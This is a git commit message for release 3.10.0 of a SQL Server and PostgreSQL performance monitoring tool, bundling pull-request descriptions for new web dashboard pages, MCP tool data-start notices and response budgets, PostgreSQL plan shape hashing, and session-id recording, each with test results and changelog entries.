From 10227c25d4c12af0f73eb8999f3d72552a02b1e1 Mon Sep 17 00:00:00 2001
From: Erik Darling <2136037+erikdarlingdata@users.noreply.github.com>
Date: Fri, 9 Oct 2026 14:18:30 -0400
Subject: [PATCH] Release 3.10.0 (#5645)
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

* WEB: Memory Grants, Resource Semaphore, Plan Corrections and the Query Store clutter tiles say where their data starts (part of #4966) (#5144)

The web server page's Memory Grant Pressure, Resource Semaphore Pressure, Plan Corrections and Query Store clutter panels now say where their data starts, so a server with a short history no longer shows a 7-day range as if it were all quiet.

The server adds the note for get_memory_grants and get_resource_semaphore (both probe memory_grant_stats, the table their window aggregates read) and get_plan_corrections (plan_correction). Plan Corrections is a newest-first list, so a capped page names the oldest recommendation it returns, and its "empty" answer also gets the note. The page's shared note strip learns three things: a spec can opt out (windowNote: false), which the newest-snapshot panels use (the two grants lists and Automatic Tuning); a stat tile can draw it as well as a table; and a spec can read the note from a nested block (floorKey), which the Query Store Clutter and Query Store Overhead panels use for the note their tool already returns. The shared fanout's empty path now draws the note as the single-panel path does.

Tests: page scenarios through the shipped util.js, panels.js and server-tabs.js in the Node harness (the opt-out, a stat, the nested note, the fanout's snapshot sibling, an empty Plan Corrections answer with and without the flag, Automatic Tuning quiet); the capped-rule tests extended to Plan Corrections; a live case for a memory read whose rows start inside the window; the admitted status words.

Part of #4966

* Daily Query Store summary for get_query_store_top's long windows: the tables (rung V161) and the hourly builder (#5094) (#5125)

Daily Query Store summary for get_query_store_top's long windows: the tables (rung V161) and the hourly builder (#5094)

Part of #5094. No reader uses the summary yet; the read and its "approximate" flag come next.

- Rung V161 adds two plain tables. collect.query_store_top_daily holds one row per server, UTC day and query identity (database, query id, plan id, query hash, outcome, replica role, module), with sums and non-NULL counts that recombine exactly, so a reader reproduces today's unweighted mean of interval averages. Its unique key is NULLS NOT DISTINCT. collect.query_store_top_daily_built records each built day's pass. The viewer's schema probe gains the V161 sentinel and arm.
- QueryStoreTopDaily is the hourly store-maintenance tick's fifth tenant. Pass 1 builds a day at its end + 2 h, pass 2 rebuilds it at its end + 25 h, and a day first seen past that point is built once at pass 2. Each build is one transaction under a 60 s statement timeout, bounded on first_execution_time to the day (−26 h, +1 h), for enabled servers and days after their coverage claim, oldest first. The tick does at most 60 builds and starts none after 10 minutes; GC follows the interval table's 9-day horizon and disabled servers.
- Approximate by design (Erik's call on #5094): a late write into a built day is missed, a row moving into the next day after pass 1 counts twice until pass 2, and a monitored server clock more than an hour ahead drops rows past the day's end + 1 h. Each case is pinned by a live test.
- On a production store, one build of the largest server's day read about 197k interval rows (30k blocks) into 26k groups in 2.3 s.

* Add a Manage Tags page to the web dashboard (#5085) (#5138)

The web dashboard gains a Manage Tags page, over the server-tag write routes (#5137). It reads the tag forest and each server's tags from the existing `/api/fleet`, so it adds no route, grant or schema change.

**What the page does.**
- **The tree:** up to four levels, with each tag's colour and its server count from the payload.
- **Tag actions:** create a root or child tag, rename, recolour, move under another parent, and delete.
- **Delete:** the page first asks the server without confirming. If deleting would leave custom alert rules matching no server, it names those rules and asks again, then sends `?confirm=true`.
- **Assignment:** a server checklist assigns the selected tag. The page records only the boxes the user changed, so Apply sends one assign for the added servers and one unassign for the removed ones, and never touches a server someone else changed meanwhile.
- **After each write:** the page lists the alert rules whose coverage changed.
- **The 60-second refresh** keeps the selection, the unsaved checkbox changes (marked "(unsaved)") and the open form, including the focused input.
- **In-flight writes:** while a write is running, a second click sends nothing, and Cancel and the form openers wait for it.
- **A parent deleted elsewhere** keeps the form and what was typed, and resets the parent to none.
- **Read-only sign-ins** see the page with every write disabled.

Every server string reaches the page through the house `el()` helper as text. A colour is used in a style only after it matches `#RRGGBB`.

**Tests.** The behaviour tests drive the page under Node with a fake fetch, and check each request's method, path, content type and body:
- the tree and the forms;
- the delete confirm flow;
- the assign and unassign diff, including servers changed elsewhere;
- the refresh keeping the form and the edits;
- double-click guards;
- 403, 404, 409, 415, 500 and network refusals;
- read-only.

Page tests pin the routes and methods.

Part of #5085

* get_read_latency fits its rows to the MCP response budget (#5135) (#5149)

`get_read_latency` returned up to `limit` rows (at most 1,000) and never fitted its response to the shared MCP response budget (`McpResponseBudget.DefaultBytes`, 32,768 bytes). With 1,000 routes, a `limit=1000` answer was 227,445 bytes.

The tool now builds its response the way the availability-group reader does:
- it takes rows in the total order (p95 descending, then count, then surface and route) while they fit;
- it then serializes the real final response, dropping the last row and re-serializing while it is still over the budget.

The answer can therefore never exceed the budget, even by the few bytes the counters add.

**New fields.** The response carries `truncated` (the limit or the budget cut the page), `reads_returned` and `reads_total`. Rows always drop from the end of the order. The guide tail says the page is capped at `limit` rows or the budget, whichever cuts first, and to raise `limit` or narrow with `surface` or `route`. The tool head is unchanged. The web read route returns the same capped answer.

**Tests.**
- A live test seeds 1,000 routes, then asserts the size bound, the three fields, and that the rows returned are the top of the order.
- A unit test sweeps the budget across the last row's edge, and asserts the UTF-8 size never exceeds it.

Fixes #5135

* MCP: Darling's four data-start twins, and Lite's config change, collection log, plan correction and memory pressure tools, say where their data starts (part of #4966) (#5147)

This lands two changes for #4966: the Darling MCP twins of Lite's data-start tools (first reviewed as #5131), and Lite's config-change, collection-log, plan-correction and memory-pressure tools.

Darling's get_active_queries, get_waiting_tasks, get_query_heatmap and get_query_store_regressions now say where their data starts, with the contract Lite's twins use (#5015): effective_start (UTC, with a Z), window_truncated and truncation_note right after hours_back on a data answer, and the same three keys under hints on an empty answer, so an empty or short answer over a window the store never covered no longer reads as a quiet one. not_collected and unavailable answers keep their shape. get_waiting_tasks, the heatmap and the regressions tool always carry the keys, as Darling's Queries tools do; get_active_queries carries them only when the window was cut, by the house rule that a payload omits null and false fields.

A shared helper, DarlingMcpWindowNotice, probes coverage through DataWindowFloor.GetAsync (the registry's created_date and the purge edge, a run counting as well as a row), with Lite's sentences copied and pinned. A window of 90 minutes or less with rows starts no probe; an empty answer always probes; the regressions tool probes from its baseline start. A probe that fails costs the notice, never the rows: it is logged and the answer goes without the keys. The web keeps its own note for the reads it lists (WebDataStartNote strips the tool's keys before deciding); the Active Queries, Query Heatmap and Query Store Regressions panels now show the tool's own sentence, as the Top Queries panels already do.

In both apps, get_active_queries now previews query text at 400 characters instead of 500, so a cut window (keys plus note) stays inside the 32,768-byte response budget: the default call over the budget test's 50 heavy rows is 30,223 bytes covered and 30,504 cut. get_active_queries' and get_waiting_tasks' descriptions now name the three keys in both apps.

Tests: helper tests (the 90-minute rule, the null floor, the exact sentences, a probe that throws, a caller who cancels); live tests for each tool (a notice when coverage starts inside the window, none on a quiet start, hints on an empty answer, a failed probe that keeps the rows); a covered and a cut budget case; the web guard; the census rosters and the shared-formatter pin. The full Darling suite fails only tests on the Mac-only list; Lite's description, budget and guide classes pass on Windows.

Lite's get_server_config_changes, get_database_config_changes, get_trace_flag_changes, get_collection_log (one server), get_plan_corrections and get_memory_pressure_events now say where their data starts, with the contract the other Lite window-floor tools use (#5004, #5015, #5127): effective_start (UTC, with a Z), window_truncated and truncation_note right after hours_back on a data answer, the same keys under hints on an empty answer, and not_collected and unavailable answers unchanged. The fleet form of get_collection_log names no server, so it carries no notice.

Each probe reads the source its tool returns rows from: the config snapshots on capture_time with their collector's runs, the collection log over the read's own window, v_plan_correction, and memory pressure on sample_time. None needs the event-time rule, because each probe already reads the column the rows are windowed on. The config change lists diff each in-window snapshot against the one before it, so a snapshot from before the window also counts as coverage, but only when the server was monitored during the window (at least one collection-log run); with no run in the window the answer says nothing was read (LocalDataService.GetConfigSnapshotCoverageFloorAsync). A plan-corrections answer that holds only automatic-tuning rows is probed as a data answer. The one-server collection log now treats a status filter as a filter, so "no ERROR runs" takes the filtered-empty answer rather than the quiet-window one.

Tests: McpWindowNoticeConfigAndLogToolTests (new): for each tool, a notice when collection starts inside the window, none on a quiet start, hints on an empty answer past coverage, the key order, a short window that starts no probe, a capped page where the tool pages; the config tools' pre-window snapshot with and without a run in the window; a status filter that matches nothing; a one-hour automatic-tuning-only answer. The census rosters and the shared-formatter pin cover the four files. On Windows, the three Lite window-notice classes pass (147).

Part of #4966

* Web grids: column groups with a toggle strip, first used on Memory Conditions and Node OOM (#5152)

Part of #4843

## What users see change
- The System Events **Memory Conditions** (32 columns) and **Memory Node OOM** (28 columns) tables now open narrow. A "Columns:" strip above the table has one toggle per column group, and a pressed toggle shows its columns.
  - Memory Conditions: Event Time, Last Notification, Report and the OOM counters are always shown. Groups: Process memory (on at first), Pressure flags, Allocation detail.
  - Node OOM: Event Time and the node ids and utilisation are always shown. Groups: Failure (on at first), Memory sizes, Pool detail, Flags.
- The choice survives the 60 s repaint. Another server's table starts from the defaults.
- Every other grid is unchanged.

## What changed
- `panels.js`: `vizTable` takes `groups` and `defaultGroups`. A column carries `group: "<name>"`; a column with no group is always shown. The toggle state sits in a module-scope map, keyed like the grid sort state (route, table identity, columns). A hidden column is still built and only set to `display: none`, so the sort, Copy and CSV column indexes stay aligned.
- `server-tabs.js`: `table()` takes an optional last argument `columnGroups = { groups, defaultGroups }`. The two wide column constants are grouped in the desktop grid's order, and #5118's "picker candidate" comments are gone.
- `css/app.css`: `.col-picker` rules beside the `.grid-tools` rules.
- No new module, so no harness needed an import change.

## Decisions
- **Copy and CSV export all columns, hidden ones included.** The desktop grid's export (`DataGridExport`) iterates every column of the grid, shown or not, so the web matches it. Copy cell and Copy row follow the same rule.
- **Sort:** hiding a sorted column keeps the sort. The order holds, the repaint re-applies it, and the other columns still sort.

## What's not changed
- No other grid gets groups. The wider Top Queries and Query Store grids are for the following lanes, which can reuse this option.

## Verified at the head
- New `ColumnGroupsBehaviourTests` (node, 6 tests): no groups gives an unchanged table, defaults, toggling, rebuild and server switch, sort with a hidden column, and Copy carrying all columns. RED on dev: with dev's `panels.js` four scenarios crash with no picker and the fifth shows no strip. 6/6 green now.
  - The no-groups case asserts the DOM is dev's: children are exactly `grid-tools`, `table-wrap`; no th or td carries a `display` style; `tools:false` returns the bare `table-wrap`.
  - The sort case uses a fixture where A's order (y, x, z) differs from B's (y, z, x). With the comparator forced to return 0, the check fails (`byA` comes back x, y, z).
- New `ServerTabColumnGroupsPinTests` (2): each grid's groups match its group list and defaults, and each constant is the last argument of its own `table()` call (Memory Conditions, Memory Node OOM). 2/2.
- `ServerPageTabsTests` 19/19, `WebModuleLoadTests` 7/7, `GridToolsBehaviourTests` 9/9, `PgIndexBloatCoverageTests` 16/16 (this file is not changed by the PR; its `span, noteKey }` pin still matches because the `table()` literal keeps that text).
- The wider guard family and every `.mjs`-harness class: 239 classes run on this Mac. The one failure, `LivePostgresCollectionHygieneTests`, is in `dev-local-failing-tests.txt`.
- `ServerPageTabsTests` was updated: it now lists `columnGroups = null` in the `table()` signature.
- `scrubcheck` on the diff exits 0.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Column toggles on the wide System Events grids** ([#5152]) - Memory Conditions and Memory Node OOM open with a short default column set and a "Columns:" strip that reveals the rest, and the choice survives the page's refresh.
REF: [#5152]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5152

* The web Alert History page gains Dismiss Selected and Dismiss All (#5151)

Part of #4843

## What users see
On the web Alert History page, a signed-in seat that can edit now gets:
- a checkbox on every live row;
- a **Dismiss Selected** button (it shows the checked count);
- a **Dismiss All** button that dismisses every live row the current filter box shows, after the Darling Viewer's prompt ("Dismiss N alert(s)? … hidden from this view but remain in the store"). When the page is truncated (more alerts than the row limit shows), the prompt adds that only the listed alerts are dismissed and the rest stay live.

After a dismiss the list refreshes. With Show dismissed off the rows disappear. With it on they stay and say "Dismissed". A short status line reports the counts, for example "Dismissed 12 of 12", or "Dismissed 1 of 4; 3 were already gone". A refusal (403, 401, 400, 5xx) shows the server's text in the status line and the page never claims success. A read-only seat sees none of this.

## What changed
- `alerts.js`: the select column, the dismiss bar and the write, which goes through the shared `apiSend` helper (JSON content type, session-expiry handling) to `POST /api/alert-history/dismiss` (#5106). The body is `{alerts:[{alert_time, server_id, metric_name}]}`.
- The checked rows live at module scope, keyed by the row key. They survive the 60 s rebuild and a visit elsewhere and back. After a successful dismiss only the keys that were sent are removed, so a box ticked while the request was in flight stays checked. A failed or empty poll read keeps the set; only a successful read prunes rows that left the list. The set is cleared when the range, row limit, server, Show dismissed or filter box changes.
- Dismiss All sends the listed rows, with no new route. This differs from the Viewer, whose Dismiss All covers every live alert in the window, even past the row limit; the web keeps its listed-rows design and says so in the prompt when the page is truncated. The route caps a request at 1000 keys, so a longer list goes in chunks of 1000 and the counts are added up. A failure part-way says how far it got and refreshes the list.
- Dismissed rows, and rows with no `server_id`, get no checkbox and are not sent.
- `panels.js`: a column flag `copy: false` leaves a column out of Copy row and Copy all (the CSV already honours `csv: false`). The Select column sets it; the Mute column is unchanged. Copy cell and the picked-cell lookup still see every column.
- `css/app.css`: three rules beside `.filter-box`.
- The #5109 range controls and the #5110 `markDismissed` / `tools: false` row build are untouched.

## What's not changed
No server code, no other page, `util.js` or `server-tabs.js`; in `panels.js` only the `copy` flag. There is no "since" route.

## Tests
- New `AlertHistoryDismissBehaviourTests` (13, with `alert-history-dismiss-harness.mjs`, run under Node on the shipped page): no controls for a read-only seat; Dismiss Selected posts the right keys and refreshes; Show dismissed keeps the row with "Dismissed"; Dismiss All posts what the filter shows; chunking at 1000; the checked set surviving a poll and a re-open and clearing on a filter change; a 403 and a 401 shown and the selection kept; the counts line; the prompt wording and the truncated-page line; Copy row and Copy all without the Select column and with Mute kept; a failed poll read keeping the checked set; a box ticked mid-dismiss surviving unsent.
- `AlertHistoryRangePageTests` dropped its "page has no Dismiss Selected" assertion. `MuteRulesPageTests` pins the new column expression. The range harness's metric column index moved from 2 to 3 because of the select column.

## Verified at the head
- RED on dev: with `alerts.js` reset to dev, 8 of the original 9 new tests fail; the four added for the prompt, Copy and selection handling also fail there. The read-only test passes there because it has nothing to show.
- GREEN: `AlertHistoryDismissBehaviourTests` 13/13, `AlertHistoryRangePageTests` 12/12, `MuteRulesPageTests` 6/6, `WebModuleLoadTests` 7/7. `load-web-modules.mjs` loads all 45 modules.
- Every `.mjs`-harness class and 104 classes in total (those plus the whole Census/Ratchet/Adoption/Discipline/Guard/Scrub/Hygiene/Pin/Convention family): one failure, `LivePostgresCollectionHygieneTests.EveryClassUsingTheSharedStore_IsSerializedOrDocumentsWhyNot`, which is on `dev-local-failing-tests.txt`.
- The guard-family run above covers 238 classes, including `GridToolsBehaviourTests` 9/9 (the shared renderer changed) and `WebModuleLoadTests` 7/7. The earlier full-suite run was before the review fixes; the full suite is left to CI. 0 build warnings.
- `scrubcheck` exits 0 on the diff and on this file.
- Not run: nothing required. Lite.Tests is untouched.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Dismiss Selected and Dismiss All on the web Alert History page** ([#5151]) - a seat that can edit gets row checkboxes and the desktop's two dismiss buttons, with a status line of how many alerts were dismissed.
REF: [#5151]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5151

* Web: cross-server Job History page, plus a Job History grid on the Activity tab (#5150)

Part of #4843

## What users see change
- A new **Job History** entry at the end of the web nav opens a page showing SQL Agent job runs (steps and job outcomes) across the fleet, newest first, the web twin of the desktop Job History view.
- Columns follow the desktop grid: Run Time, Server, Job, Category, Step, Status, Duration, Retries, Last Success, Message. Sort, Copy and CSV come from the shared grid.
- Filters: Server (all or one), Window (1/4/12/24 hours, 7 days; default 24 hours), Job (exact name, applied on Enter or when the box loses focus), Status (all, Failed, Succeeded, Retry, Canceled), Category (the categories seen so far), and Rows (100/250/500/1000, default 100). All filters are applied by the read before its row limit. Choices, typed text and focus survive the 60 s refresh.
- The page says when the window reaches past the history the store keeps (also when the answer is empty), and when the row limit cut the list. A "N runs shown" line sits above the grid.
- Rows are coloured as the desktop grid does: failed red, long-running and retry amber, canceled grey. The desktop also dims disabled jobs; the read does not return an enabled flag on this path, so the web does not.
- Differences from the desktop tab: the windows are 1/4/12/24 hours and 7 days (the desktop also has 30 d, 90 d and 1 y; the read's maximum is 168 hours), and there is no 2,000-row cap, the Rows choice goes to 1000 at most.
- The Server choices list SQL Server targets only (PostgreSQL targets have no Agent history).
- The server page's Activity tab (SQL Server) gains a per-server Job History grid with the same columns less Server (newest 100 runs in the page range). It was not on the web before.

## What changed
- `pages/job-history.js` (new), reading `get_job_history` through `readToolWithinKeptHistory` with the render's `AbortSignal`; server choices from `list_servers`.
- `index.html` and `app.js`: one nav entry, import, route, active-nav key, each added at the end of its list.
- `server-tabs.js`: the Activity-tab grid and its column list only.
- `job-history-harness.mjs` and `JobHistoryPageTests.cs` (15 tests).
- `app.css`: three row-colour rules beside the data-table cell colours. `util.js`: `run_time` added to the instant fields, so a custom range trims the per-server grid. No C# product change.
- The job box defers its blur by a turn, so a rebuild no longer drops focus or fires a second read, and the caret is kept. The empty-answer notice reads `hints`.

## What's not changed
`panels.js`, the rest of `util.js`, `alerts.js`, the `app.js` scheduler and status bar, other `server-tabs.js` regions. The PostgreSQL Activity tab has no Job History (Agent history is SQL Server only). The desktop's Agent status indicator is not on this page (it needs a separate `get_agent_status` read).

## Verified at the head
- `JobHistoryPageTests`: 15/15 pass; all FAIL on dev's wwwroot (page and wiring removed).
- `WebModuleLoadTests` passes; module count comes from disk.
- Census/Ratchet/Adoption/Discipline/Guard/Scrub/Hygiene/Pin/Convention family (79 classes) plus every `.mjs`-harness class (26): 1255 run, 1 failed, `LivePostgresCollectionHygieneTests.EveryClassUsingTheSharedStore_IsSerializedOrDocumentsWhyNot`, which is in `dev-local-failing-tests.txt`.
- Full Darling.Tests (run at the previous head; this push re-ran the page, harness, load and guard classes only): 22703 run, 478 failed (377 distinct methods). All are on `dev-local-failing-tests.txt` except two `DarlingManagedPostgresTests.EnsureConfAppended_*` methods; they do not touch web files and I did not run them on a clean dev, so CI decides.
- `scrubcheck` on the diff and this file: exit 0.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Job History page in the web dashboard** ([#5150]) - A cross-server Job History page shows SQL Agent job runs with server, window, job, status, category and row-limit filters, and the Activity tab gains a per-server Job History grid.
REF: [#5150]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5150

* The web dashboard shows a query's stored plan XML from Top Queries, High Impact and Expensive Queries (#5156)

Part of #4843

## What users see
Rows that carry a `query_hash` get a **Plan** button in Top Queries (server page), FinOps High Impact and FinOps Optimization > Expensive Queries. It opens a panel under the row with the query's stored plan XML, indented, with **Copy** and **Download .sqlplan** (file named `<query_hash>.sqlplan`, type `application/xml`). A plan larger than the read's 500 KB cut says so and turns Download off, because a cut file will not open. A query with no stored plan shows the read's own message. The open panel stays open through the 60 s rebuild.

## What changed
- New `pages/plan-viewer.js`: `planColumn(server)` (added to each grid's column list), `storedPlanCell`, `openStoredPlan`, `prettyPrintXml`, `downloadPlan`. It reuses `copyText` from `grid-tools.js`. The XML is drawn only through `textContent` of a `<pre>`.
- `get_plan_xml` returns bare XML for the MCP clients (unchanged). The web read route wraps a stored plan as 200 JSON `{query_hash, database_name, plan_xml, truncated}`; `truncated` is decided on the server from the tool's own cut marker, which is removed from `plan_xml`. A "no plan" status or error envelope passes through unchanged. The viewer reads `plan_xml` and `truncated`; it no longer sniffs text. Params: `server`, `query_hash`, and `database_name` when the row has one.
- Expensive Queries rows now carry `query_hash` (`MAX(query_hash)` in the existing statement query, a new optional `QueryHash` on the `ExpensiveQuery` record, and a `query_hash` field in the `get_finops` optimization view's expensive-query rows), so the Plan column shows there. No tool description changed.
- Open panels are keyed by server + database + hash at module scope; a rebuilt cell redraws from that state, and a read still in flight fills the new cell too.
- Top Queries (both the tab and the standalone panel), High Impact and Expensive Queries use `[...COLUMNS, planColumn(server)]`; the column hides when no row has a hash. `css/app.css` gets three rules beside the grid-tools rules.
- Every `.mjs` harness that copies `server-tabs.js` or the finops tabs now also copies `plan-viewer.js`.

## Not changed
Get Actual Plan and a plan tree view stay out. The PostgreSQL Top Query Shapes grid has no Plan column: `get_plan_xml` is SQL Server only (pinned). No `panels.js`, `util.js`, `app.js` or `alerts.js` edits.

## Verified at the head
- Web wrapper: 3 new `DarlingWebEndpointsTests` cases (whole plan gives JSON that classifies as passthrough; a cut plan sets `truncated` using the real `McpHelpers.Truncate` marker; envelopes pass through byte-identical). `DarlingWebEndpointsTests` 76/76. The plan harness now fakes the 200 shape. `FinOpsTabOptimizationPageTests` pins the new `query_hash` row field.
- `WebExceptionTextCensusTests` 40 (1 skipped), `DarlingCustomViewsTests` 71/71 (`get_plan_xml` params unchanged; a custom view calling it now gets a `plan_xml` JSON object instead of a 400 error strip), `McpToolsListBudgetTests` 5/5, `FinOpsOptimizationViewTests` 8/8.
- RED on dev: `WebPlanViewerPageTests` 5 of 6 fail, `PlanViewerBehaviourTests` 7 of 7 fail (module absent).
- GREEN: `WebPlanViewerPageTests` 6/6, `PlanViewerBehaviourTests` 7/7 (open, text-only, download name/type/body, copy, truncation disables Download, no-plan text, state survives rebuild).
- Updated import allowlists in `FinOpsTabHighImpactPageTests` (8/8) and `FinOpsTabOptimizationPageTests` (16/16); `RepoFileAdoptionTests` 2/2.
- All 100 `.mjs`-harness and Census/Ratchet/Adoption/Discipline/Guard/Scrub/Hygiene/Pin/Convention classes run; only `LivePostgresCollectionHygieneTests` fails, which is on the Mac-local dev failing list.
- Build 0 errors, no new CA/CS/IDE warnings.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Stored query plans on the web dashboard** ([#5156]) - Top Queries, High Impact and Expensive Queries rows with a query hash get a Plan button that shows the stored plan XML with Copy and Download .sqlplan.
REF: [#5156]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5156

* PostgreSQL plans are grouped by their shape, so estimate drift no longer reads as a plan change (fixes #5114) (#5155)

PostgreSQL plans are now grouped by their shape. The plan hash (PgPlanLogParser.FromBlock's PlanHash) covered the whole redacted plan JSON, cost and row estimates included, so a statistics refresh, a different literal or a different work_mem gave one plan shape a new hash, and the plan-flip finding read estimate drift as a plan change. The hash now covers the shape only: it is taken over a clone of the redacted plan with the estimates, the runtime counters (Actual *, Rows Removed by *, Index Searches, Heap Fetches, sort, hash and memoize counters, Workers and Workers Launched), the buffer, I/O and WAL counters, Workers Planned, and the root's Settings, JIT, Planning, Planning Time, Execution Time and Triggers removed, recursively through every child plan. It is a denylist, so an unknown key still splits the hash. The stored plan_json is unchanged and keeps every estimate. A plan without any of those fields hashes as before.

Captured-plan lists (get_pg_plans and the viewer) fold a shape's estimate variants into one row, so captures and durations sum over the shape. Each row now shows the JSON of that shape's latest collection cycle: the reader ranks and cuts the groups first and fetches the JSON for the page only, instead of the old min(plan_json), which was arbitrary once a group held JSONs with different estimates, and aggregated kilobyte-sized text over every group.

On the first analysis pass after the upgrade, a statement captured on both sides of it may report one plan change, and captured-plan lists and the store log's slow_plan groups show pre-upgrade groups beside new ones until the older rows age out (plan retention is 14 days by default).

Tests: PgPlanShapeHashTests (new, 29 cases): estimate, settings, timing and counter variants give one hash, including on a grandchild and a SubPlan node; a different node type, join order, join method, index or parallel awareness gives another; Workers Planned is not shape; an unknown key still splits; the stored JSON keeps its estimates; the hash stays 32 hex characters. A store-log case (two plans differing only in costs are one row) and a live reader case (one group, two captures, the later capture's JSON).

Fixes #5114

* Record the target session id on SQL Server collector runs (#5132) (#5154)

`collection_log.target_session_id` was null on every SQL Server collector run. Monitored-server connections use Multiple Active Result Sets, and under MARS `SqlConnection.ServerProcessId` is 0 at every point: after open, with a reader open, after it closes, and on pool reuse. Measured on SQL Server 2025 with Microsoft.Data.SqlClient 7.1.1. With MARS off it is the real session id.

**The fix.** Right after a collector's target connection opens, before any reader, the runner resolves the session id:
- When `ServerProcessId` is 0, it runs `SELECT @@SPID` once, with a 5-second command timeout, and caches the answer under the connection's `ClientConnectionId`.
- That id stays the same across pool reuse, so a reused connection costs no query, and the cost is one lookup per new physical connection rather than one per run.
- The cache is bounded at 4,096 entries.
- The lookup is timed into the run's SQL time.
- A failure records null and never fails the run. A real cancellation still propagates.
- If SqlClient transparently replaced the physical connection by the time the first reader opens (a new `ClientConnectionId`), the run records null instead of a stale id.
- PostgreSQL targets still read the backend pid directly.

MARS, the pools and the application name are unchanged.

**Why not the alternatives.** Turning MARS off would break the places that run a second command while a reader is open. A per-collector application name would multiply the connection pools on every monitored server.

**Tests.**
- Unit facts for the cache: one lookup per connection id, the bound, failures not cached, a real cancellation, the key read after the lookup, and eviction of a replaced connection.
- A source pin: the lookup comes before every reader.
- Live facts against a real SQL Server: the true session id; no second lookup on a pooled reopen; a full collector run writing a non-null `target_session_id` into its own scratch store.

CI runs no SQL Server, so it skips the live facts. They were run locally.

Fixes #5132

* Web Blocking tab: desktop columns on the Blocking grid, and Save XML on Blocked Process Reports and Deadlock Graphs (#5164)

Part of #4843

## What users see
On a server page's Blocking tab:
- **Blocking grid** now shows the desktop Blocked Process Reports grid's columns, in its order and under its headers (Event Time, Blocked SQL, Blocking SQL, Source, Database, Blocked SPID, Blocking SPID, Wait Time, Wait Resource, Lock Mode, then status, isolation, transaction, priority, log used, login, host and app for each side). It has 25 columns, so the status/isolation, transaction and sessions columns sit behind the column-group toggles from #5152 (status/isolation and transaction on at first).
- **Blocked Process Reports** panel: desktop headers (Event Time, Blocked SPID, Blocking SPID, Wait Time) and a **Save XML** button per row, downloading `blocked_process_<yyyyMMdd_HHmmss>.xml`.
- **Deadlock Graphs** panel: a **Save XML** button per row, downloading `deadlock_<yyyyMMdd_HHmmss>.xdl` (the item #5139 deferred until a download helper existed).
- A deadlock graph the read cut short (`deadlock_graph_xml_truncated`) gets a disabled button with a hover reason. The tab reads with `full_graph` on, so this is the rare case. A row with no XML also gets a disabled button.

## What changed
- `grid-tools.js`: new `downloadText(fileName, parts, type)`; `downloadCsv` now calls it (same Blob, same type).
- `server-tabs.js` (Blocking/Deadlock regions only): `BLOCKING_COLUMNS` (11 -> 25) with `BLOCKING_GROUPS`; `BPR_COLUMNS` reordered with the desktop headers and an XML column; `deadlockXmlColumns` gets the XML column; `saveXmlButton` and `fileStamp` helpers; one import.
- No fetch on click: both reads already return the full XML on the row, so nothing is in flight. There is therefore no in-flight state.
- No harness `.mjs` import list changes: `grid-tools.js` is already in every harness's conditional copy list.
- Tests: `WebBlockingColumnsPageTests` (column keys against `get_blocking` / `get_blocked_process_xml` projections, desktop order and headers, group names, file names); `WebBlockingSaveXmlBehaviourTests` + `web-blocking-save-xml-harness.mjs` (Node: Blob name, type and text for both downloads, truncated disables Save, no-XML disables Save, no extra read).

## Not changed / read-widening follow-ups
- The desktop's Blocked Process Reports grid has no column the read lacks. Not on the web grid: the blocking-side transaction/priority fields, which the desktop does not show either.
- `get_blocked_process_xml` returns only 6 fields, so the Blocked Process Reports panel stays at the desktop's four data columns; the desktop's extra columns live on the Blocking grid (from `get_blocking`).
- **`.xdl`, not `.xml`:** the Viewer and Lite save deadlock graphs as `.xml`; the web uses `.xdl`, which SSMS opens as a graph (the deprecated Dashboard did the same). A follow-up can move the desktop to `.xdl` too.
- Reads not widened.

## Verified at the head
- New page tests: 6/6 pass; node behaviour tests: 4/4 pass. On dev's JS (`git checkout` of the two files, rebuilt tests kept): page 4/6 fail, behaviour 4/4 fail (RED).
- Full Darling.Tests on this Mac: Total 22912, Failed 478 (336 distinct methods); 334 are in `dev-local-failing-tests.txt`. The other two, `DarlingManagedPostgresTests.EnsureConfAppended_*` (2 methods), fail with `kernel32.dll` not loadable on macOS (a platform failure, nothing to do with this change).
- That run included `WebModuleLoadTests`, `DeadlockProcessRowsTests`, every `.mjs`-harness class and the Census/Guard/Hygiene family, which showed no failures beyond the above.
- Build: 0 warnings, 0 errors.

## CHANGELOG entry
SECTION: Added
ENTRY: - **Web Blocking tab shows the desktop's blocking columns and saves report and deadlock XML** ([#5164]) - the Blocking grid has the desktop Blocked Process Reports columns (the wide ones behind column-group toggles), and the Blocked Process Reports and Deadlock Graphs rows have a Save XML button that downloads the XML (`.xml`) or the deadlock graph (`.xdl`).
REF: [#5164]: https://github.com/erikdarlingdata/PerformanceMonitor/pull/5164

* Web Perfmon: multi-select counter picker over a multi-series trend chart (#5162)

Part of #4843

## What users see change
The Perfmon chart on a server's page used to chart one counter chosen from a drop-down. It now matches the desktop viewer's picker and the Wait Stats picker from #5119:
- a checkbox list of the counters in the snapshot table above it, with a search box, Select All, Clear All and a Default counters button;
- the default set is the desktop's General Throughput pack (Batch Requests/sec, SQL Compilations/sec, SQL Re-Compilations/sec, Query optimizations/sec, Network IO waits), limited to what this server collects; if none of the pack is collected the first counter is checked;
- up to 10 counters at once (the 11th box is disabled with a "Limit reached" hint; the desktop's cap is 12);
- one line per checked counter on one zoomable chart. Rate counters plot their per-second figure on a per-second axis; a chart that mixes in a gauge or average counter plots plain values with no unit;
- a counter whose read fails gets a note above the chart and the other lines still draw; all reads failing shows an error plus the notes; all reads empty shows the empty state, not an error;
- checks and search text survive the 60 s refresh, per server; a checked counter that leaves the snapshot stays checked and listed; the search box keeps focus and caret.

## What changed
- `server-tabs.js`, Perfmon region only: `perfmonPanel` and `drawPerfmonTrends` (replaces `drawPerfmonTrend`; `perfmonTrendLines` is gone). One `get_perfmon_trend` read per checked counter, in parallel, with an AbortController per server for superseded draws, and the chart draws at most 10 counters whatever it is handed.
- `multi-picker.js`: three optional options (`noun`, `defaultsLabel`, `defaults`) so the wording and default set are not wait-specific. Defaults are the old values, so Wait Stats is unchanged.
- `BaselineDiscontinuityRenderCensusTests` (Lite) now looks for `export async function drawPerfmonTrends(`. Its logic still holds: that function keeps one `discontinuityNotes(trend.data)` use, and the file total stays 4. Read by hand; Lite.Tests was not run on this Mac.
